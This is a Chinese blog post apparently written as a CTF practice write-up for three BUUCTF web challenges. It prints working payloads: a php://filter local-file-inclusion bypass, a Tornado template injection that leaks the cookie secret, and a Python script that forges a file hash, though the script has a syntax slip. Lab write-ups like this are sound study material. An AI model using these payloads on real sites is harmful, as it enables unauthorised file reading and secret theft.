每周刷题(三)

最新推荐文章于 2023-04-04 23:40:22 发布

小小奇点呀！

最新推荐文章于 2023-04-04 23:40:22 发布

阅读量555

点赞数

分类专栏：刷题

本文链接：https://blog.csdn.net/qq_45869039/article/details/108907672

版权

刷题专栏收录该内容

9 篇文章 2 订阅

订阅专栏

web 1 [极客大挑战 2019]Havefun

在这里插入图片描述
打开是一个猫，什么也没有，然后F12查看源码

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

在不起眼的地方得到了这个，如果输入的为dog，即?cat=dog,那么就能得到flag

web 2 [极客大挑战 2019]Secret File

在这里插入图片描述
emmm,查看页面源代码，你会发现.Archive_room.php

然后跳转到
在这里插入图片描述
那我们再次查看源代码，会发现./action.php,点击一下，跳转到end.php,这就让我很懵逼，但根据后面页面的提示就知道action.php，停留时间极短，然后直接跳转到end.php

那我们就试一下抓包

得到

<!DOCTYPE html>

<html>
<!--
   secr3t.php        
-->
</html>

我们访问secr3t.php

得到


<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

应该有文件包含漏洞

看到了flag.php去访问量一下
在这里插入图片描述
emmmm,看了一下源代码没有什么东西
还是看那串代码吧

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

我们要绕过那几个敏感词，但是file没有过滤filter
我们可以用php://filter来获取flag。

然后我们就可以构造payload：secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

然后得到一串base64加密的字符

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7YjFhMzgyYmQtMTE5NS00Mjk4LTlhYzctMzIzNzlhOTNmNTJlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密一下得到flag

web 3 [护网杯 2018]easy_tornado

有三个txt文件

在这里插入图片描述
根据题目的tornado，意思就是一个用Python语言写成的Web服务器兼Web应用框架。
/flag.txt里是

/flag.txt
flag in /fllllllllllllag

/welcome.txt里是

/welcome.txt
render

/hints.txt里是

/hints.txt
md5(cookie_secret+md5(filename))

看url:http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/file?filename=/flag.txt&filehash=17d621fb10cd85c171cba6d7dafc3044

访问一个文件我们需要有两个条件filename和filehash

将fllllllllllllag替换掉filename

得到报错
在这里插入图片描述
看url:http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/error?msg=Error
Error可以被替换为任何字符

?msg=123
在这里插入图片描述
到这我就不会了，看了大佬wp

知道了知道了这是个模板注入，并且/welcome.txt里的render是python的一个渲染函数。

报错时候的 url 是这样的

在 tornado 模板中，存在一些可以访问的快速对象



 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>

那么我们构造payload：http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/error?msg={{handler.settings}}

在这里插入图片描述
我们得到了文件名和cookie

我们对其加密得到了cc85887d4387a3df37a470ab517184d2

我这种加密方式比较麻烦

直接上脚本



import hashlib
def md5value(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
def jiami(): 
    filename = ‘/fllllllllllllag‘
    cookie_s ="5c68d92e-9f4d-42a4-8960-a98b331de3c1"
    print(md5value(filename.encode(‘utf-8‘)))
    x=md5value(filename.encode(‘utf-8‘))
    y=cookie_s+xprint(md5value(y.encode(‘utf-8‘)))
jiami()

记得cookie要换成自己的

然后构造payload：http://bba92278-0b8e-488d-9597-a10f2c32bb82.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=cc85887d4387a3df37a470ab517184d2

得到flag